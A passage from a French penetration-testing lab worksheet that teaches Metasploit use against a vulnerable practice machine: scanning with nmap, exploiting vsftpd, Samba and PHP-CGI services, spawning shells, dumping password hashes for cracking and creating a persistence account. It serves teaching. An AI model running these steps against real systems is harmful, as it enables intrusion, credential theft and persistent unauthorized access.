msf> msfconsole
La première commande que vous pouvez saisir est la commande help qui permet d'afficher le menu d'aide (et banner pour le fun).
msf> help
Vous pouvez ensuite saisir la commande search pour obtenir la liste du ou des modules en lien avec le mot clé que vous passerez en paramètre. Par exemple la commande suivante listera tous les scripts et exploits en lien avec MySql.
msf> search mysql
Astuce : La commande help search permet d'obtenir la liste des filtres qui peuvent être utilisé avec la commande search. La commande info affiche des informations supplémentaires.
msf> info exploit/linux/http/librenms_collectd_cmd_inject
Une fois que vous avez décidé quel module utiliser, saisissez la commande use pour le selectionner. Cela modifiera le contexte de vos commandes et vous permettra d'exécuter des commandes spécifiques à ce module.
msf> use exploit/linux/http/librenms_collectd_cmd_inject msf exploit(linux/http/librenms_collectd_cmd_inject) >
Maintenant que vous êtes à l'intérieur d'un module, saisissez la commande options pour voir ce que vous pouvez configurer avec la commande set.
msf exploit(linux/http/librenms_collectd_cmd_inject) > options ... msf exploit(linux/http/librenms_collectd_cmd_inject) > set RHOSTS 192.168.1.254
Vous devrez définir toutes les variables requises (Required: yes) avant de pouvoir exécuter l'exploit. Une fois vos settings terminé vous pouvez saisir à nouveau la commande options pour vérifier la bonne prise en compte de vos paramètres. Dans Metasploit, LHOST, RHOST ou RHOSTS et SRVHOST sont parmi les noms de variables les plus couramment utilisés. LHOST fait référence à l'adresse IP de votre machine, qui est généralement utilisée pour créer une connexion inverse à votre machine une fois l'attaque réussie. RHOST fait référence à l'adresse IP de l'hôte cible (ou des hôtes cibles pour RHOSTS). SRVHOST est l'adresse à laquelle le module se connectera pour télécharger des payloads supplémentaires (non utilisé dans ce TP). Enfin, une fois la configuration terminée, vous pouvez lancer la commande exploit ou run pour lancer l'exploit !
msf exploit(linux/http/librenms_collectd_cmd_inject) > exploit
Notez l'adresse IP de la machine cible. Vous initialiserez plus tard la variable RHOST avec cette adresse.
msf> set RHOSTS 172.16.x.x
Lancez un scan sur la cible avec la commande nmap. Quelle(s) option(s) utilisez vous pour obtenir la liste des ports ouverts, le nom du service et sa version ?
Trouver tout les services tournant sur la cibles
msf> nmap -sV 192.168.x.x
Commande de recherche pour savoir si un (ou plusieurs) exploits sont disponibles pour exploiter ce service ftp en particulier.
msf> search vsftpd
Obtenir plus d'informations sur cet exploit dans la console msf
Notez dans la section Basic options quelles sont les variables que vous devrez configurer ?
Sélectionnez l'exploit avec la commande use. L'invite de la ligne de commande a t-il changé ?
Initialisez RHOSTS avec set puis lancez l'exploit.
Un lien de communication devrait être établi entre la machine attaquante (msf) et la machine cible (vsftpd). Remarquez que le port utilisé est différent de 21 (port ftp standard). Bien que l'invite soit nul, vous pouvez saisir des commandes (ex: ls, pwd, …) Astuce : Pour avoir un invite plus sympathique, la commande suivante spawn un pseudo-terminal : python -c 'import pty; pty.spawn(“/bin/bash”)' Quelles commandes saisir pour connaître votre rôle (ou niveau de privilège) sur la cible ?
Récupérez la version hashée des mots de passe. Vous pourrez l'utiliser plus tard avec un dictionnaire et un outil comme john the ripper.
Profitez-en également pour vous assurez un retour facile sur cette machine compromise en vous créant un compte (etudiant, mot de passe Btssio2017)
Déconnectez vous de la machine cible. Lien : Plus d'informations sur cet exploit (lien) et aller au-delà…
Exploit 2 : Exploitation d'un service Samba Le résultat du scan précédent laisse apparaître l'exposition d'un service Samba (sur les ports 139 et 445) qui est la version libre du système de partage de fichier de Windows. Réalisez un scan qui vous permettra d'obtenir la version de Samba (module smb_version des outils auxiliaire de Metasploit) use … options set … run Notez la version de Samba retournée par l'exécution du module ci-dessus (smb_version). _ . _ . _
Hors de la console msf (dans un autre terminal), utilisons l'outil searchsploit (disponible sur Kali). Cet outil permet d'effectuer des recherches dans la base de données exploit-db (qui référence divers exploits et techniques d'attaques) en ligne de commande. Existe t'il un exploit relatif à cette version de Samba ? searchsploit samba | grep _ . _ . _
A présent, dans la console msf recherchez un exploit qui correspondrait aux mots clé retourné par searchsploit.
Une fois trouvé, utilisez l'exploit use … options set … run Cela devrait avoir pour effet de lancer un shell (minimaliste). Tapez des commandes comme ls ou id pour vérifier. Faite alors Ctrl-Z ou saisissez la commande background. Cela aura pour effet de vous proposer de mettre la session en background. Vous pouvez listez toutes les sessions en background avec la commande sessions et vous reconnectez à une session avec la commande sessions suivi du numéro de session. Essayez. background y (pour yes) sessions -l sessions -i 1
Exploit 3 : Service Web vulnérable (php + meterpreter) Essayons d'abord de déterminer quelle version de PHP est utilisé sur la machine cible. L'outil dirb permet de vérifier la présence d'un fichier phpinfo.php. dirb http://adresseMachineCible Appelez ensuite ce fichier avec votre navigateur. Quelle version est utilisée ?
___ . ___ . ___
Cette version PHP est connue pour être vulnérable à PHPCGI Argument Injection. Quelles sont les arguments à passer à la commande search pour retrouver le nom exact de ce module sachant qu'il date de 2012 (cve:2012) et qu'il est classé comme excellent (rank:excellent). search …